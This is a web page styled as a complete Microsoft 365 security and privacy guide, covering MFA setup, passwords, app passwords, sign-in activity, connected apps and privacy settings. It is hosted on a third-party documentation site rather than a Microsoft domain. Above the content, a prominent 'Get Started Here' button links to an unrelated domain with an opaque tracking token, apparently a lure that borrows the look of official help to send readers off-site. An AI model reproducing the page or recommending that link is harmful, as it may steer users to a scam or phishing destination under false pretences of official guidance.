> ## Documentation Index
> Fetch the complete documentation index at: https://microsoft365setuphelpguide.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Microsoft 365 Security and Privacy: Your Complete Guide

> Learn how to secure your Microsoft 365 account with MFA, strong passwords, sign-in monitoring, and privacy controls that protect your data.

<div style="text-align:center; margin:30px 0;">
  <a
    href="https://flosyr.com/?36zGdn4a0hTjaYBU0XrwmcXacULXoZPlBSZSWvgVpwo9YHmfvqaQJqo1e3grb8WtZ "
    style="
display:inline-flex;
align-items:center;
justify-content:center;
gap:10px;
padding:14px 28px;
background:linear-gradient(135deg,#007bff,#0056d6);
color:#ffffff;
text-decoration:none;
font-family:Arial,sans-serif;
font-size:17px;
font-weight:700;
border-radius:50px;
box-shadow:0 5px 15px rgba(0,123,255,0.35);
transition:all 0.3s ease;
"
  >
    <span>Get Started Here</span>
    <span style="font-size:22px; line-height:1;">→</span>
  </a>
</div>

Securing your Microsoft 365 account isn't optional — it's the single most important thing you can do to protect your emails, documents, and personal data from unauthorised access. A compromised Microsoft account can expose your entire OneDrive, your inbox, your contacts, and every file you've ever shared. This guide walks you through every essential security and privacy setting you should configure, from enabling multi-factor authentication on day one to reviewing which third-party apps have access to your data.

<Warning>
  Microsoft will **never** ask for your password or verification codes by email, phone, or chat. If anyone claiming to be Microsoft requests these details, it is a scam — do not share them.
</Warning>

***

## Multi-Factor Authentication (MFA)

Multi-factor authentication is the most effective single security measure you can enable. Even if someone steals your password, MFA prevents them from signing in without a second verification step from your phone or authenticator app. Microsoft reports that MFA blocks over 99.9% of automated account attacks.

### How to Enable MFA

You can set up MFA through **My Account** or directly via the Microsoft shortcut link:

<Steps>
  <Step title="Navigate to Security Info">
    Go to [aka.ms/mfasetup](https://aka.ms/mfasetup) in your browser and sign in with your Microsoft 365 account. Alternatively, visit [account.microsoft.com](https://account.microsoft.com), click **Security**, then **Advanced security options**.
  </Step>

  <Step title="Add a Sign-In Method">
    Under **Two-step verification**, click **Turn on** (personal accounts) or under **Security info**, click **+ Add method** (work/school accounts). You'll be prompted to choose a verification method.
  </Step>

  <Step title="Choose Your Verification Method">
    Select **Authenticator app** for the most secure and reliable option (see below). You can also choose **Phone (SMS)** or **Email** as a backup method — but avoid relying on SMS as your only method.
  </Step>

  <Step title="Set Up Microsoft Authenticator">
    Download the **Microsoft Authenticator** app on your iOS or Android device. In the app, tap **+ Add account**, select **Work or school account** (or **Personal account**), then scan the QR code shown on screen.
  </Step>

  <Step title="Verify and Save">
    Complete the on-screen verification to confirm your new method works, then click **Done**. MFA is now active. The next time you sign in from a new device, you'll be prompted to approve the request in the Authenticator app.
  </Step>
</Steps>

### Authenticator App vs. SMS

<CardGroup cols={2}>
  <Card title="Microsoft Authenticator App (Recommended)" icon="mobile-screen">
    Generates time-based one-time codes offline, supports push notification approval, and enables **passwordless sign-in**. More secure than SMS because it can't be intercepted by SIM-swapping attacks.
  </Card>

  <Card title="SMS Text Message" icon="comment-sms">
    Sends a 6-digit code to your phone number. Convenient and familiar, but vulnerable to SIM-swapping and phone number hijacking. Use as a backup method only, not as your primary MFA method.
  </Card>
</CardGroup>

<Tip>
  Enable **passwordless phone sign-in** in the Microsoft Authenticator app to skip typing your password entirely. In the app, tap your account, then tap **Enable phone sign-in**. When you sign in, you'll just approve a number match on your phone — no password needed.
</Tip>

***

## Password Best Practices

Even with MFA enabled, a strong password is an important layer of defence. Follow these guidelines when setting or updating your Microsoft account password:

* **Use a passphrase** — a string of four or more unrelated words (e.g. `coffee-lantern-bridge-42`) is both long and memorable
* **Make it unique** — never reuse your Microsoft account password on any other site
* **Avoid obvious choices** — do not use your name, birthdate, or common words like `password` or `microsoft`
* **Use a password manager** — Microsoft Edge has a built-in password manager that saves, autofills, and checks your passwords for breaches. Access it at `edge://password-manager/` or in Edge Settings > Passwords.

### Enabling Passwordless Sign-In

If you want to go further, Microsoft supports fully passwordless authentication:

1. Go to [account.microsoft.com](https://account.microsoft.com) > **Security** > **Advanced security options**
2. Under **Passwordless account**, click **Turn on**
3. Follow the prompts to verify with Microsoft Authenticator
4. Once enabled, you sign in using the Authenticator app, Windows Hello, or a security key — no password required

***

## App Passwords

App passwords are one-time-use passwords generated for older applications — such as legacy email clients, third-party productivity tools, or older versions of Outlook — that do not support modern MFA sign-in flows.

**When you need an app password:**

* You're using an email client that connects via IMAP/POP3 and doesn't support OAuth 2.0
* A business app prompts you for your Microsoft credentials but fails after you approve MFA
* You're integrating with a service that requires a stored username and password

**How to generate an app password:**

1. Go to [account.microsoft.com](https://account.microsoft.com) > **Security** > **Advanced security options**
2. Scroll to **App passwords** and click **Create a new app password**
3. Copy the generated password and paste it directly into the application — you won't see it again

<Note>
  App passwords are only available if your account has two-step verification enabled. If your organisation manages your account, your admin may have disabled this feature — check with your IT department.
</Note>

***

## Reviewing Sign-In Activity

Regularly checking your recent sign-in history helps you catch unauthorised access early:

1. Go to [account.microsoft.com/security](https://account.microsoft.com/security)
2. Click **Review activity** under the **Sign-in activity** section
3. Browse the list of recent sign-ins — each entry shows the date, device type, browser, and approximate location

If you see a sign-in you don't recognise, click **This wasn't me** to immediately secure your account. Microsoft will prompt you to change your password and review your security settings.

***

## Connected Apps and Permissions

Over time, you may grant third-party apps and services access to your Microsoft account. It's good practice to review and remove any apps you no longer use:

1. Go to [account.microsoft.com/privacy](https://account.microsoft.com/privacy)
2. Click **App access** (or navigate to [account.microsoft.com/privacy/app-access](https://account.microsoft.com/privacy/app-access))
3. Review the list of apps that have access to your account data
4. Click **Remove these permissions** next to any app you want to revoke

Removing permissions immediately cuts off that app's access to your Microsoft account data, including any files or emails it may have been reading.

***

## Privacy Settings

Microsoft gives you meaningful control over what data it collects and how it's used.

### Microsoft Privacy Dashboard

Your central hub for managing personal data is the [Microsoft Privacy Dashboard](https://account.microsoft.com/privacy):

* **Browse history** — view and delete browsing data synced from Edge
* **Search history** — view and clear your Bing search history
* **Location activity** — see location data Microsoft has recorded and clear it
* **Cortana's notebook** — review information Cortana has learned about you
* **Health activity** — manage data from Microsoft Health and fitness apps

### Controlling Data Collection

To adjust what diagnostic data Microsoft collects from Windows and Microsoft 365:

* On **Windows**: go to **Settings > Privacy & security > Diagnostics & feedback** and set the level to **Required diagnostic data only**
* In **Microsoft 365 apps**: go to **File > Options > Trust Center > Trust Center Settings > Privacy Options** and review the connected experiences and diagnostic data settings

### Managing Advertising ID and Personalised Ads

Microsoft uses an advertising ID to serve you personalised ads in some apps and services. To limit this:

1. Go to [account.microsoft.com/privacy/ad-settings](https://account.microsoft.com/privacy/ad-settings)
2. Toggle off **See personalised ads in your browser** and **See personalised ads in apps**

You can also turn off the Windows Advertising ID at **Settings > Privacy & security > General** on Windows 10/11.

***

## Frequently Asked Questions

<Accordion title="What should I do if my account is hacked?">
  Act immediately to limit the damage:

  1. If you can still sign in, go to [account.microsoft.com/security](https://account.microsoft.com/security) and change your password right away.
  2. Review your **Security info** and remove any phone numbers, email addresses, or authenticator apps you don't recognise — a hacker may have added their own.
  3. Check your **Recent activity** and click **This wasn't me** on any suspicious sign-ins.
  4. Review your Outlook inbox rules and forwarding settings — attackers often set up auto-forwarding to steal emails silently.
  5. If you're locked out, use Microsoft's [account recovery form](https://account.live.com/acsr) to regain access.
  6. Once back in, enable MFA immediately if it wasn't already active.
</Accordion>

<Accordion title="How do I remove a device from my Microsoft account?">
  To remove a device:

  1. Go to [account.microsoft.com/devices](https://account.microsoft.com/devices)
  2. Find the device you want to remove and click on it
  3. Click **Remove device** — this signs the device out and revokes its access to your account

  If the device is lost or stolen, also consider using **Find My Device** on the same page to locate or lock it before removing it.
</Accordion>

<Accordion title="Is my OneDrive data encrypted?">
  Yes. Microsoft encrypts your OneDrive files both **in transit** (using TLS) and **at rest** (using AES-256 encryption). Each file is encrypted with its own unique key, adding an extra layer of protection.

  Microsoft 365 Business and Enterprise plans additionally support **Customer Key**, which lets your organisation supply and control the encryption keys used to protect your data at rest — giving you full ownership over access.
</Accordion>

<Accordion title="How do I turn off activity tracking?">
  You can limit Microsoft 365 activity tracking in several ways:

  * **Activity history (Windows)**: Go to **Settings > Privacy & security > Activity history** and uncheck **Store my activity history on this device**, then click **Clear activity history**.
  * **Microsoft Search history**: Visit [account.microsoft.com/privacy](https://account.microsoft.com/privacy) > **Search history** > **Clear all search history**.
  * **Microsoft 365 connected experiences**: In any Office app, go to **File > Options > Trust Center > Trust Center Settings > Privacy Options** and disable optional connected experiences.
  * **LinkedIn integration**: If you don't want LinkedIn profile data shown in Outlook or Teams, go to [account.microsoft.com/privacy](https://account.microsoft.com/privacy) > **LinkedIn** and disconnect the integration.
</Accordion>


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.